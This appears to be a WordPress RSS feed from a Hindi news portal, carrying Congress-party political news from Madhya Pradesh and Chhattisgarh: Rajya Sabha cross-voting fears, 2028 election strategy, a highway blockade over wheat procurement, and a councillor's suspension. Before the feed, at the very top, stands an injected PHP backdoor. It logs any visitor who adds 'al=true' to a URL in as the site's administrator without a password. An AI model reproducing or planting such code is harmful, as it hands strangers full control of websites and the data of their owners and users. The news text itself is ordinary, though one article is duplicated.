// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Congress – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Thu, 04 Jun 2026 04:46:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 कांग्रेस के लिए 2028 बना ‘करो या मरो’ का साल, दिग्गज नेता बोले- BJP नहीं, अपने ही कमजोर करते हैं पार्टी https://pratyushaashakinayikiran.com/?p=224518 Thu, 04 Jun 2026 04:46:00 +0000 https://pratyushaashakinayikiran.com/?p=224518 भोपाल 

मध्य प्रदेश कांग्रेस के वरिष्ठ नेता और पूर्व नेता प्रतिपक्ष अजय सिंह ने हरदा में कार्यकर्ताओं के बीच संगठन को लेकर बड़ा और स्पष्ट संदेश दिया। उन्होंने कहा कि 2028 का विधानसभा चुनाव कांग्रेस के लिए आखिरी मौका साबित हो सकता है, इसलिए पार्टी के नेताओं और कार्यकर्ताओं को व्यक्तिगत महत्वाकांक्षाओं से ऊपर उठकर संगठन के लिए त्याग और समर्पण दिखाना होगा।कार्यकर्ताओं को संबोधित करते हुए अजय सिंह ने कांग्रेस की सबसे बड़ी कमजोरी भी खुलकर गिनाई। उन्होंने कहा कि चुनाव आते ही पार्टी में हर कोई दावेदार बन जाता है या फिर किसी गुट का समर्थक बनकर खड़ा हो जाता है। यही वजह है कि कांग्रेस कई बार भाजपा से नहीं, बल्कि अपनी ही अंदरूनी खींचतान से चुनाव हार जाती है।

उन्होंने चेतावनी भरे अंदाज में कहा कि यदि कांग्रेस 2028 में सत्ता में वापसी नहीं कर पाई, तो पार्टी के भविष्य पर गंभीर संकट खड़ा हो सकता है। इसलिए अभी से संगठन को मजबूत करने और जनता के मुद्दों पर संघर्ष करने की जरूरत है।

मुख्यमंत्री डॉ. मोहन यादव द्वारा प्रदेश कांग्रेस अध्यक्ष जीतू पटवारी पर की गई टिप्पणी को लेकर भी अजय सिंह ने आपत्ति जताई। उन्होंने कहा कि प्रदेश के मुख्यमंत्री को अपने पद की गरिमा के अनुरूप भाषा का इस्तेमाल करना चाहिए और राजनीतिक विरोध के बावजूद मर्यादा बनाए रखना आवश्यक है।

इस दौरान अजय सिंह ने केंद्र सरकार पर भी हमला बोला। उन्होंने आरोप लगाया कि मौजूदा सरकार की नीतियां बड़े उद्योगपतियों को लाभ पहुंचाने वाली हैं, जबकि कांग्रेस की राजनीति हमेशा समाज के अंतिम व्यक्ति के हितों को केंद्र में रखकर चलती रही है। उन्होंने कार्यकर्ताओं से राहुल गांधी के संघर्ष और जनसरोकारों से प्रेरणा लेने की अपील की।

कार्यक्रम में कांग्रेस नेताओं के बीच हल्की-फुल्की राजनीतिक नोकझोंक भी देखने को मिली। भाजपा छोड़कर कांग्रेस में आए पूर्व नपाध्यक्ष सुरेंद्र जैन ने कहा कि भाजपा में रहते हुए वे कांग्रेस की एकजुटता तोड़कर चुनावी लाभ दिलाते थे। इस पर कांग्रेस नेता हेमंत टाले ने मुस्कुराते हुए जवाब दिया कि अब वही रणनीति भाजपा के खिलाफ अपनाने का समय आ गया है।

कुल मिलाकर हरदा का यह संवाद कार्यक्रम कांग्रेस के भीतर एकजुटता, संगठनात्मक मजबूती और 2028 की चुनावी तैयारी को लेकर गंभीर संदेश देने वाला साबित हुआ, जहां अजय सिंह ने साफ कर दिया कि सत्ता में वापसी का रास्ता पहले पार्टी के अंदर से होकर गुजरता है।

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राज्यसभा चुनाव में सियासी गणित तेज, कांग्रेस के पास सिर्फ 4 विधायक ज्यादा; BJP खेल बिगाड़ने में जुटी https://pratyushaashakinayikiran.com/?p=221943 Sun, 24 May 2026 05:40:00 +0000 https://pratyushaashakinayikiran.com/?p=221943 भोपाल
कांग्रेस मध्यप्रदेश से राज्यसभा की अपनी एक सीट बचाने की जद्दोजहद में लगी हुई है। वर्तमान सांसद दिग्विजय सिंह के दोबारा राज्यसभा जाने से इंकार करने के बाद से उम्मीदवार पर सहमति बनाने की प्रक्रिया चल रही है। कांग्रेस में दो स्तरों पर जद्दोजहद जारी है, पहला उम्मीदवार के नाम पर आम सहमति बनाना और दूसरा क्रॉस वोटिंग को रोकना। प्रदेशाध्यक्ष जीतू पटवारी ने पहले प्रदेश के दिग्गज नेताओं से रायशुमारी की, इसके बाद 5 मई को दिल्ली में हुई बैठक में उम्मीदवार का फैसला हो गया है। कांग्रेस सूत्रों के अनुसार पार्टी में राज्यसभा उम्मीदवार तय हो गया है। पार्टी, मध्यप्रदेश के ही सर्वस्वीकार्य और व्यापक जनाधार वाले नेता को आगे करेगी।

राज्यसभा चुनाव की तारीखों की घोषणा के बाद प्रदेश कांग्रेस में सक्रियता बढ़ी है। संभावित उम्मीदवार के लिए जल्द बैठक आयोजित की जाएगी। इसमें उम्मीदवारों नामों पर चर्चा कर प्रस्ताव एआइसीसी को भेजे जाएंगे।

कांग्रेस में सर्वसम्मति बनाने और क्रॉस वोटिंग रोकने पर पूरा जोर

कांग्रेस खेमे में अभी भी उम्मीदवार के नामों को लेकर ऊहापोह की स्थिति है। इतना ही नहीं, बीजेपी भी उनका खेल बिगाड़ने की कवायद में जुटी हुई है। चर्चा यहां तक है कि कांग्रेस की सीट हासिल करने के लिए बीजेपी डमी प्रत्याशी उतार सकती है।

सिर्फ 4 विधायक ज्यादा, बीना से विधायक निर्मला सप्रे के दलबदल और मुकेश मल्होत्रा के वोटिंग अधिकार निलंबन व राजेंद्र भारती की सदस्यता समाप्त होने के बाद कांग्रेस के विधायक घट गए

दरअसल कांग्रेस के पास अपनी राज्यसभा सीट बचाए रखने के लिए पर्याप्त संख्या बल तो है पर वरिष्ठ नेताओं को इसमें सेंधमारी का डर सता रहा है। मध्यप्रदेश में कुल 230 विधानसभा सीटें हैं। एक सदस्य को राज्यसभा भेजने के लिए 58 विधायक जरूरी हैं। बीना से विधायक निर्मला सप्रे के दलबदल और मुकेश मल्होत्रा के वोटिंग अधिकार निलंबन व राजेंद्र भारती की सदस्यता समाप्त होने के बाद कांग्रेस के विधायक घट गए हैं। पार्टी के पास वोट डालने वाले अब 62 विधायक ही बचे हैं जोकि एक सदस्य को जिताने की जरूरी संख्या से चार ही अधिक हैं।

क्रॉस वोटिंग के कारण कांग्रेस अपनी सीट गंवा सकती है, इसलिए पार्टी नेता अतिरिक्त सतर्कता बरत रहे

हरियाणा-उड़ीसा में क्रॉस वोटिंग और बिहार में विधायकों की अनुपस्थिति के कारण कांग्रेस को झटका लग चुका है। अब मप्र में भी पार्टी को इसका डर सता रहा है। क्रॉस वोटिंग के कारण कांग्रेस अपनी सीट गंवा सकती है, इसलिए पार्टी नेता अतिरिक्त सतर्कता बरत रहे हैं।

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राज्यसभा चुनाव से पहले MP कांग्रेस सतर्क, क्रॉस वोटिंग की आशंका से बढ़ी हलचल https://pratyushaashakinayikiran.com/?p=221096 Thu, 21 May 2026 04:16:00 +0000 https://pratyushaashakinayikiran.com/?p=221096 भोपाल
प्रदेश में राज्यसभा की तीन सीटें इसी वर्ष जून में रिक्त हो रही हैं। इन सीटों पर निर्वाचन के लिए अधिसूचना शीघ्र जारी होने की आशा है। चुनाव नजदीक आते ही क्राॅस वोटिंग को लेकर कांग्रेस की चिंता बढ़ गई है। कारण, चार विधायक भी खिसक गए तो कांग्रेस के हाथ से सीट निकल जाएगी।

क्रॉस वोटिंग को लेकर मंथन
बता दें कि विधायकों के संख्या बल की दृष्टि से दो सीटें भाजपा को मिलनी तय हैं। बची एक सीट वर्तमान की स्थिति में कांग्रेस के खाते में जाएगी, पर कुछ राज्यों में कांग्रेस विधायकों द्वारा क्राॅस वोटिंग या अनुपस्थित रहने की वजह से मप्र में भी पार्टी को डर सता रहा है।

पार्टी के प्रदेश पदाधिकारियों ने गुपचुप तरीके से ऐसे विधायकों पर नजर रखना शुरू कर दिया है, जो क्रास वोटिंग कर सकते हैं।

विधायकों की अनुपस्थिति बनी चुनौती
दतिया से विधायक राजेंद्र भारती की सदस्यता शून्य किए जाने के बाद अब कांग्रेस के 64 सदस्य विधानसभा में हैं। श्योपुर जिले के विजयपुर से विधायक मुकेश मल्होत्रा की सदस्यता शून्य करने संबंधी निर्णय पर सुप्रीम कोर्ट ने रोक तो लगा दी है, लेकिन वह चुनाव में मतदान नहीं कर पाएंगे।

दलबदलुओं पर नजर
बीना से कांग्रेस के टिकट पर जीतीं निर्मला सप्रे के विरुद्ध नेता प्रतिपक्ष उमंग सिंघार ने दलबदल विरोधी कानून के अंतर्गत कार्रवाई के लिए हाई कोर्ट में याचिका लगाई थी, जिस पर सुनवाई चल रही है।सप्रे वर्ष 2024 में लोकसभा चुनाव के दौरान और उसके बाद कई बार भाजपा के मंच पर नजर आ चुकी हैं, हालांकि वह कई बार कह चुकी हैं कि कांग्रेस से त्याग पत्र नहीं दिया है। वह पार्टी में ही हैं। ऐसे में कांग्रेस इस वोट को अपने पक्ष में नहीं मान रही है।

हालांकि, पार्टी सूत्रों ने बताया कि हाल ही में प्रदेश पदाधिकारियों ने सप्रे से बात कर पार्टी के पक्ष में मतदान करने का अनुरोध किया है। इस तरह मल्होत्रा और सप्रे को हटा दें तो कांग्रेस के पास चार अतिरिक्त वोट ही हैं। इस कारण पार्टी का डर बढ़ा हुआ है।

 

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दक्षिण भारत में कांग्रेस का दबदबा, 106 सीटों का गणित 2029 में BJP के लिए बनेगा बड़ी चुनौती? https://pratyushaashakinayikiran.com/?p=220659 Tue, 19 May 2026 04:38:00 +0000 https://pratyushaashakinayikiran.com/?p=220659 नई दिल्ली

केरल की सत्ता में वापसी के साथ कांग्रेस पार्टी के अरमानों को नए फंख लग गए हैं. इसके साथ ही कांग्रेस दक्षिण के पांच में से तीन राज्यों में सीधे और एक में परोक्ष रूप से सत्ता में भागीदार हो गई है. केंद्र शासित प्रदेश पुड्डुचेरी में उसकी हालत ठीक है. वहीं उत्तर में पार्टी की एक मात्र राज्य हिमाचल प्रदेश में सरकार है. लेकिन, दक्षिण में मिली सफलता के बाद राजनीतिक पंडितों का एक धड़ा इस बात की चर्चा करने लगा है कि 2029 के लोकसभा चुनाव में पार्टी कहां खड़ी होती दिख रही है। 

दरअसल, उत्तर और दक्षिण भारत का राजनीतिक मिजाज पूरी तरह अलग है. हर एक मानक पर देश के दोनों क्षेत्र बिल्कुल अलग है. देश भर में एकछत्र सफलता हासिल कर चुकी भाजपा दक्षिण की ओर बढ़ते-बढ़ते अपनी रफ्तार खो देती है. मौजूदा वक्त में केवल आंध्र प्रदेश में वह चंद्रबाबू नायडू की टीडीपी सरकार में वह भागीदार है. हालांकि पुड्डुचेरी में भी उसी सरकार है. मगर पांचों बड़ों राज्यों यानी तमिलनाडु, कर्नाटक, आंध्र प्रदेश, केरल और तेलंगाना में से केवल कर्नाटक में ही पार्टी अपना एक ठोस जनाधार बना पाई है. वह कर्नाटक की सत्ता तक पहुंची है लेकिन बाकी के चारों राज्यों में उसकी मौजूदगी काफी कम है। 

पूरे दक्षिण की बात करें तो यहां लोकसभा की कुल 130 सीटें हैं. इसमें से 39 तमिलनाडु, 28 कर्नाटक, 25 आंध्र प्रदेश, 20 केरल, 17 तेलंगाना और एक सीट पुड्डुचेरी में हैं. इसमें आंध्र प्रदेश को छोड़कर बाकी सभी जगहों पर कांग्रेस की स्थिति अच्छी है. यानी कुल 106 सीटों पर कांग्रेस सीधी टक्कर में है. कांग्रेस ने बीते 2024 के लोकसभा चुनाव में दक्षिणी राज्यों में भी इंडिया गठबंधन के बैनर तले चुनाव लड़ा. ऐसे में गठबंधन को कुल 74 और भाजपा की एनडीए को 49 सीटों पर जीत मिली थी. केवल कांग्रेस की बात करें तो उसने अपने दम पर तमिलनाडु में नौ, कर्नाटक में नौ, आंध्र प्रदेश में शून्य, तेलंगाना में आठ और केरल में 14 सीटों पर जीत हासिल की. इस तरह उसे कुल 40 सीटों पर जीत मिली. वहीं भाजपा को अपने दम पर तमिलनाडु में शून्य, कर्नाटक में 17, आंध्र प्रदेश में तीन, तेलंगाना में आठ और केरल में एक सीट पर जीत मिली. उसे कुल 29 सीटें मिलीं. इस तरह पूरे इलाके में अकेले और बतौर गठबंधन दोनों स्थितियों में कांग्रेस का पलड़ा भारी है। 

तमिलनाडु में बदल चुकी है स्थिति
तमिलनाडु में राजनीतिक स्थिति बदल चुकी है. कांग्रेस ने अपने पुराने सहयोगी डीएमके का साथ छोड़कर टीवीके के साथ चली गई है. ऐसे में लोकसभा चुनाव में उसको इसका और अधिक फायदा मिल सकता है. दूसरी तरफ पार्टी केरलम में वापस सत्ता में आई है. तेलंगाना और कर्नाटक में उसकी सरकार है और वहां भाजपा ने लोकसभा चुनाव में अपना सर्वश्रेष्ठ प्रदर्शन किया था. ऐसी स्थिति में दक्षिण में भाजपा के लिए चुनौती देखी जा रही है। 

थोड़ी बात उत्तर की
अब थोड़ी उत्तर भारत की भी बात कर लेते हैं. उत्तर भारत में वैसे तो कांग्रेस करीब-करीब पूरी तरह सत्ता से बाहर है लेकिन कुछ राज्यों में उसके मजबूत मौजूदगी को खारिज नहीं किया जा सकता. इसमें सबसे पहला नाम पंजाब का है. पंजाब में लोकसभा की 13 सीटें हैं. इसमें से सात पर कांग्रेस और तीन पर आम आदमी पार्टी को जीत मिली थी. यहां आम आदमी पार्टी की सरकार है. राज्य में आम आदमी पार्टी दोफाड़ हो चुकी है. ऐसे में यहां पर भी कांग्रेस को बेहतर प्रदर्शन करने की उम्मीद है. इस राज्य में भाजपा की शून्य सीटें मिली थी। 

इस कड़ी में दूसरा राज्य हरियाणा है. यहां लोकसभा की 10 सीटें हैं. भाजपा और कांग्रेस यहां बराबरी पर हैं और दोनों को पांच-पांच सीटों पर जीत मिली थी. उत्तर भारत में तीसरा सबसे बड़ा राज्य राजस्थान है जहां कांग्रेस अभी भी मजबूत स्थिति में है. राज्य में लोकसभा की 26 सीटें हैं और बीते चुनाव में वह आठ सीटों पर जीत हासिल करने में कामयाब हुई थी. भाजपा को यहां 14 सीटों पर जीत मिली थी. कहने का मतलब है कि इन कुछ राज्यों से कांग्रेस को उम्मीद है. राजनीति के जानकार और आंकड़ों भी बताते हैं कि यहां अपने दम पर कांग्रेस अच्छा प्रदर्शन कर सकती है. इस तरह से देखें तो दक्षिण की 130 और उत्तर भारत की 49 सीटों पर वह सीधे टक्कर में है. यानी कुल 179 सीटों पर वह टक्कर में है. इसके अलावा महाराष्ट्र, उत्तर प्रदेश, बिहार, झारखंड, मध्य प्रदेश, छत्तीसगढ़, दिल्ली, उत्तराखंड, हिमाचल प्रदेश में भी कांग्रेस की ठीकठाक मौजूदगी है। 

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सत्ता में वापसी के लिए कांग्रेस की नई रणनीति, बड़े प्लान से बदलेगी सियासत! https://pratyushaashakinayikiran.com/?p=219925 Sat, 16 May 2026 05:26:00 +0000 https://pratyushaashakinayikiran.com/?p=219925 भोपाल

मध्यप्रदेश में सत्ता में वापसी की तैयारी में जुटी कांग्रेस ने अब नया सियासी दांव चल दिया है। पार्टी ने फैसला किया है कि आने वाले पंचायत चुनाव में सरपंच उम्मीदवारों को खुला समर्थन दिया जाएगा। अब तक पंचायत चुनाव गैर-दलीय आधार पर होते रहे हैं और राजनीतिक दल सीधे तौर पर दूरी बनाए रखते थे, लेकिन कांग्रेस ने इस परंपरा को तोड़ते हुए गांव स्तर पर अपनी पकड़ मजबूत करने की रणनीति बनाई है।

दरअसल, कांग्रेस 2028 विधानसभा चुनाव से पहले ग्रामीण क्षेत्रों में अपनी ताकत का आंकलन करना चाहती है। पार्टी का मानना है कि पंचायत चुनाव के जरिए बूथ स्तर तक संगठन को सक्रिय किया जा सकता है। इसी उद्देश्य से प्रदेशभर में पंचायत समितियों का गठन किया गया है। कांग्रेस का दावा है कि अब तक 21 हजार 478 पंचायत समितियां बनाई जा चुकी हैं, जिन्हें प्रत्याशी चयन और समन्वय की जिम्मेदारी दी जाएगी।

कांग्रेस नेताओं का कहना है कि पंचायत कमेटियों के गठन का मकसद गांव-गांव संगठन को मजबूत करना है। पार्टी सरपंच चुनाव लड़ रहे उम्मीदवारों को समर्थन देगी ताकि कार्यकर्ता सक्रिय हों और कांग्रेस की पकड़ ग्रामीण इलाकों में मजबूत हो सके।

हालांकि कांग्रेस की इस रणनीति पर भाजपा ने सवाल खड़े किए हैं। राजनीतिक जानकारों का मानना है कि गैर-दलीय पंचायत चुनाव में खुला समर्थन कांग्रेस के लिए फायदेमंद भी साबित हो सकता है, लेकिन इससे अंदरूनी गुटबाजी बढ़ने का खतरा भी रहेगा।

मध्यप्रदेश में अगले विधानसभा चुनाव में समय है। ऐसे में कांग्रेस का यह ‘मिशन एमपी’ आने वाले समय में प्रदेश की राजनीति में बड़ा असर डाल सकता है। अब देखना होगा कि पंचायत चुनाव में खुलकर उतरने का कांग्रेस का यह दांव सत्ता वापसी की राह आसान करता है या नई चुनौतियां खड़ी करता है।

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कल एमपी में आगरा-मुंबई NH पर कांग्रेस का जाम, किसानों की समस्याओं को लेकर 7 जगह हाईवे बंद https://pratyushaashakinayikiran.com/?p=217475 Wed, 06 May 2026 15:35:00 +0000 https://pratyushaashakinayikiran.com/?p=217475 भोपाल 

मप्र में कल गुरुवार 7 मई को कांग्रेस बड़े आंदोलन की तैयारी में है। पार्टी प्रदेशभर में 7 अलग-अलग स्थानों पर नेशनल हाईवे जाम करेगी। आंदोलन का नेतृत्व वरिष्ठ नेता और पूर्व मंत्री पीसी शर्मा ने घोषित किया।

बुधवार को भोपाल में पीसी शर्मा ने बताया कि सरकार की खरीदी व्यवस्था पूरी तरह विफल हो चुकी है। बार-बार खरीदी और स्लॉट बुकिंग की तारीख बढ़ाने से सिस्टम की कमजोरी उजागर हो गई है।

उन्होंने कहा कि खरीदी के शुरुआती 14 दिनों में सिर्फ 9.30 लाख मीट्रिक टन गेहूं की खरीदी हुई है, जिससे किसानों को भारी नुकसान हो रहा है। किसान स्लॉट बुकिंग, पंजीयन पर्ची अपलोड और भुगतान में देरी जैसी समस्याओं से जूझ रहे हैं।

कांग्रेस के इस आंदोलन से 11 जिलों के करीब 747 किलोमीटर क्षेत्र में यातायात प्रभावित होने की आशंका है। पार्टी ने इसे किसानों के हित में बड़ा आंदोलन बताया है, जबकि प्रशासन ने भी सुरक्षा और ट्रैफिक मैनेजमेंट की तैयारियां शुरू कर दी हैं।

किसानों को नहीं मिल रहीं मूलभूत सुविधाएं
कांग्रेस का आरोप है कि खरीदी केंद्रों पर पेयजल, छाया, बैठने और शौचालय जैसी मूलभूत सुविधाएं तक उपलब्ध नहीं हैं। किसानों को कई दिनों तक ट्रैक्टर-ट्रॉली के साथ सड़कों पर इंतजार करना पड़ रहा है। स्थिति यह है कि किसान मजबूरी में 1800 से 2022 रुपए प्रति क्विंटल के भाव पर व्यापारियों को गेहूं बेच रहे हैं।

कांग्रेस की मांगें
पार्टी ने सरकार से मांग की है कि किसानों को 2625 रुपए प्रति क्विंटल का भाव दिया जाए और कम कीमत पर बेचे गए गेहूं का अंतर भावांतर योजना के तहत सीधे खातों में डाला जाए। साथ ही मूंग और सोयाबीन के दामों को लेकर भी जवाब मांगा गया है।

मंत्री बोले- वेयरहाउस की क्षमता में 20% बढ़ाई
मध्यप्रदेश के खाद्य एवं नागरिक आपूर्ति मंत्री गोविंदसिंह राजपूत ने कहा कि मुख्यमंत्री और विभाग द्वारा गेहूं खरीदी के लिए हर संभव प्रयास किए जा रहे हैं। उन्होंने बताया कि पहले 78 लाख मीट्रिक टन गेहूं खरीदी की अनुमति थी, लेकिन किसानों के अधिक पंजीयन को देखते हुए केंद्र सरकार से इसे बढ़ाकर 100 लाख मीट्रिक टन करा लिया गया है।

मंत्री ने कहा कि खरीदी प्रक्रिया सुचारू रूप से चल रही है और अब तक करीब 15 लाख स्लॉट बुक हो चुके हैं। 50 लाख मीट्रिक टन से अधिक गेहूं की खरीदी भी हो चुकी है।

राजपूत ने कहा कि किसानों की सुविधा के लिए तौल कांटे बढ़ाए गए हैं और वेयरहाउस की क्षमता में 20% तक की बढ़ोतरी की गई है, ताकि भंडारण में दिक्कत न आए। उन्होंने बताया कि मुख्यमंत्री खुद औचक निरीक्षण कर रहे हैं और वे स्वयं भी विभिन्न केंद्रों का दौरा कर रहे हैं।

भाजपा ने कांग्रेस पर साधा निशाना- कांग्रेसी किसी किसान को एक गिलास पानी तक नहीं पिलाते

मंत्री ने कांग्रेस पर निशाना साधते हुए कहा कि कांग्रेसी किसी किसान को एक गिलास पानी तक नहीं पिलाते और आंदोलन का ढोंग कर रहे हैं। उन्होंने कहा कि विपक्ष में होने के कारण कांग्रेस इस तरह के कदम उठा रही है, लेकिन हाईवे जाम से आम जनता को परेशानी होगी।

राजपूत ने कहा कि सड़कों को जाम करने से लोगों की आवाजाही प्रभावित होगी और इससे आम नागरिकों को अनावश्यक दिक्कतें झेलनी पड़ेंगी। उन्होंने कांग्रेस से इस पर पुनर्विचार करने की अपील की।

मंत्री ने यह भी कहा कि अन्य राज्यों में कांग्रेस की स्थिति कमजोर है और पार्टी को आंदोलन करने के बजाय आत्ममंथन करने की जरूरत है।

भाजपा प्रदेश अध्यक्ष बोले कांग्रेस ने आज तक अन्नदाता की चिंता नही की कांग्रेस को तो यह बात कहने का भी अधिकार नहीं हैं। हमारी सरकार बनने के बाद हम अन्नदाता को किसान सम्मान निधि दे रहे हैं। समर्थन मूल्य पर गेहूं की खरीदी की जा रही हैं, जबकि बारदाने का संकट था।

जीतू पटवारी को किसानों से माफी मांगना चाहिए। वो बताएं कि 2003-04 के पहले उन्होंने अन्नदाता के लिए क्या किया? जीतू पटवारी को आत्ममंथन और आत्मचिंतन करने की जरुरत है।

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राज्य में युवा कांग्रेस की चुनाव तैयारी तेज, अध्यक्ष चुनाव का आधार तय https://pratyushaashakinayikiran.com/?p=217479 Wed, 06 May 2026 15:16:00 +0000 https://pratyushaashakinayikiran.com/?p=217479 रायपुर
 छत्तीसगढ़ की राजनीति में युवा कांग्रेस एक बार फिर सक्रिय मोड में है। संगठनात्मक चुनावों की आहट के साथ प्रदेशभर में हलचल तेज हो गई है। यह सिर्फ पदों की अदला-बदली भर नहीं, बल्कि संगठन की दिशा और भविष्य तय करने वाली प्रक्रिया भी है। तीन साल से अधिक समय से प्रदेश अध्यक्ष रहे आकाश शर्मा के कार्यकाल के बाद अब नेतृत्व परिवर्तन लगभग तय माना जा रहा है।इस पूरी कवायद की शुरुआत सदस्यता अभियान से होगी, जो मई-जून में चलाया जाएगा।

यही सदस्यता आगामी चुनाव की बुनियाद बनेगी। खास बात यह है कि इस बार सदस्यता शुल्क 50 रुपए से बढ़ाकर 75 रुपए कर दिया गया है। यह बढ़ोतरी भले छोटी लगे, लेकिन इसके पीछे संगठन की गंभीरता और संसाधनों को मजबूत करने की रणनीति साफ झलकती है। युवा कांग्रेस इस बार प्रक्रिया को अधिक पारदर्शी और तकनीक-आधारित बनाने पर जोर दे रही है। सदस्यता से लेकर मतदान तक पूरा सिस्टम डिजिटल होगा और चुनाव को ब्लॉक स्तर तक ले जाया जाएगा। यह कदम न सिर्फ भागीदारी बढ़ाने का प्रयास है, बल्कि स्थानीय नेतृत्व को उभारने की भी कोशिश है।

चुनाव प्रक्रिया दो चरणों में होगी पहले मतदान और फिर इंटरव्यू। अंतिम चयन वरिष्ठ नेतृत्व के हाथ में रहेगा। इस बार उम्र को भी एक अहम पैमाना बनाया गया है, जिसमें खासतौर पर 1989, 1990 और 1991 आयु वर्ग के दावेदारों पर फोकस रहने की चर्चा है। इससे यह संकेत मिलता है कि संगठन अनुभव और युवा ऊर्जा के बीच संतुलन साधने की कोशिश में है। पिछले सदस्यता अभियान में 11 लाख से अधिक युवाओं की भागीदारी ने संगठन को मजबूती दी थी। इस बार यह आंकड़ा और बढ़ने की उम्मीद जताई जा रही है। यह सिर्फ संख्या नहीं, बल्कि कांग्रेस के लिए जमीनी स्तर पर अपनी पकड़ मजबूत करने का अवसर भी है।

दूसरी ओर, दावेदारों की लंबी सूची इस चुनाव को और दिलचस्प बना रही है। नए और पुराने चेहरों के बीच मुकाबला देखने को मिलेगा। यह प्रतिस्पर्धा जहां संगठन में नई ऊर्जा भर सकती है, वहीं गुटबाजी की चुनौती भी खड़ी कर सकती है। कुल मिलाकर, छत्तीसगढ़ युवा कांग्रेस का यह चुनाव महज संगठनात्मक प्रक्रिया नहीं, बल्कि राजनीतिक पुनर्संरचना का संकेत है। सदस्यता, डिजिटल चुनाव और नए चेहरों की एंट्री—ये तीनों फैक्टर मिलकर तय करेंगे कि आने वाले समय में संगठन किस दिशा में आगे बढ़ेगा। अगर यह प्रक्रिया पारदर्शिता और संतुलन के साथ पूरी होती है, तो यह कांग्रेस के लिए प्रदेश में नई ताकत बन सकती है।

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कांग्रेस का बड़ा एक्शन! पद पर बैठे बड़े नेता को पार्टी ने सस्पेंड किया, लगे गंभीर आरोप; जानें पूरा मामला https://pratyushaashakinayikiran.com/?p=215265 Tue, 28 Apr 2026 10:06:00 +0000 https://pratyushaashakinayikiran.com/?p=215265 रायपुर 

छत्तीसगढ़ के इस जिले में कांग्रेस ने बड़ी कार्रवाई की है। पार्टी ने अपने ही नेता को तत्काल प्रभाव से निलंबित कर दिया है। बिरगांव के कांग्रेसी पार्षद ओम प्रकाश साहू पर चोरी का पैसा छिपाने का आरोप लगा है। मामले की जानकारी पर जिला कांग्रेस कमेटी रायपुर ने उन्हें पार्टी से बाहर निकाला है। कहा- कानून से ऊपर कोई नहीं है।  

जानकारी के अनुसार, एक कारोबारी से करीब 50 लाख रुपये की लूट हुई थी। आरोपी चालक कृष्णा साहू कारोबारी से लाखों रूपए लेकर फरार हो गया था। मामले में कारोबारी ने पुलिस को शिकायत सौंपी गई। पुलिस जांच में सामने आया कि आरोपी चालक कृष्णा साहू द्वारा चोरी के पैसों को छिपाने में ओम प्रकाश साहू की भूमिका सामने आई है। ओम प्रकाश साहू की पहचान बिरगांव के कांग्रेसी पार्षद के रूप में हुई है। जिसके बाद पार्टी ने सख्त कार्रवाई करते हुए पार्षद को तत्काल प्रभाव से निलंबित कर दिया है। ब्लॉक कांग्रेस कमेटी बिरगांव के अध्यक्ष योगेंद्र सोलंकी द्वारा दी गई जानकारी के आधार पर जिला अध्यक्ष राजेंद्र पप्पू बंजारे ने यह कार्रवाई की।

वहीं, पुलिस ने बिरगांव के कांग्रेसी पार्षद ओम प्रकाश साहू को चोरी का पैसा छिपाने के आरोप में गिरफ्तार कर लिया। ऐसे में मामला केवल आपराधिक घटना तक सीमित नहीं रहा, बल्कि राजनीतिक विवाद का रूप ले चुका है। इधर, जिला कांग्रेस अध्यक्ष ने कहा कि इस पूरे मामले की रिपोर्ट छत्तीसगढ़ प्रदेश कांग्रेस कमेटी के प्रभारी महामंत्री (संगठन) मलकीत सिंह गेंदू को भेज दी गई है, ताकि आगे जरूरी कार्रवाई की जा सके। इससे साफ है कि पार्टी इस मामले को गंभीरता से ले रही है और इसमें कोई ढिलाई नहीं बरतना चाहती।

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कांग्रेस का बड़ा एक्शन! पद पर बैठे बड़े नेता को पार्टी ने सस्पेंड किया, लगे गंभीर आरोप; जानें पूरा मामला https://pratyushaashakinayikiran.com/?p=215267 Tue, 28 Apr 2026 10:06:00 +0000 https://pratyushaashakinayikiran.com/?p=215267 रायपुर 

छत्तीसगढ़ के इस जिले में कांग्रेस ने बड़ी कार्रवाई की है। पार्टी ने अपने ही नेता को तत्काल प्रभाव से निलंबित कर दिया है। बिरगांव के कांग्रेसी पार्षद ओम प्रकाश साहू पर चोरी का पैसा छिपाने का आरोप लगा है। मामले की जानकारी पर जिला कांग्रेस कमेटी रायपुर ने उन्हें पार्टी से बाहर निकाला है। कहा- कानून से ऊपर कोई नहीं है।  

जानकारी के अनुसार, एक कारोबारी से करीब 50 लाख रुपये की लूट हुई थी। आरोपी चालक कृष्णा साहू कारोबारी से लाखों रूपए लेकर फरार हो गया था। मामले में कारोबारी ने पुलिस को शिकायत सौंपी गई। पुलिस जांच में सामने आया कि आरोपी चालक कृष्णा साहू द्वारा चोरी के पैसों को छिपाने में ओम प्रकाश साहू की भूमिका सामने आई है। ओम प्रकाश साहू की पहचान बिरगांव के कांग्रेसी पार्षद के रूप में हुई है। जिसके बाद पार्टी ने सख्त कार्रवाई करते हुए पार्षद को तत्काल प्रभाव से निलंबित कर दिया है। ब्लॉक कांग्रेस कमेटी बिरगांव के अध्यक्ष योगेंद्र सोलंकी द्वारा दी गई जानकारी के आधार पर जिला अध्यक्ष राजेंद्र पप्पू बंजारे ने यह कार्रवाई की।

वहीं, पुलिस ने बिरगांव के कांग्रेसी पार्षद ओम प्रकाश साहू को चोरी का पैसा छिपाने के आरोप में गिरफ्तार कर लिया। ऐसे में मामला केवल आपराधिक घटना तक सीमित नहीं रहा, बल्कि राजनीतिक विवाद का रूप ले चुका है। इधर, जिला कांग्रेस अध्यक्ष ने कहा कि इस पूरे मामले की रिपोर्ट छत्तीसगढ़ प्रदेश कांग्रेस कमेटी के प्रभारी महामंत्री (संगठन) मलकीत सिंह गेंदू को भेज दी गई है, ताकि आगे जरूरी कार्रवाई की जा सके। इससे साफ है कि पार्टी इस मामले को गंभीरता से ले रही है और इसमें कोई ढिलाई नहीं बरतना चाहती।

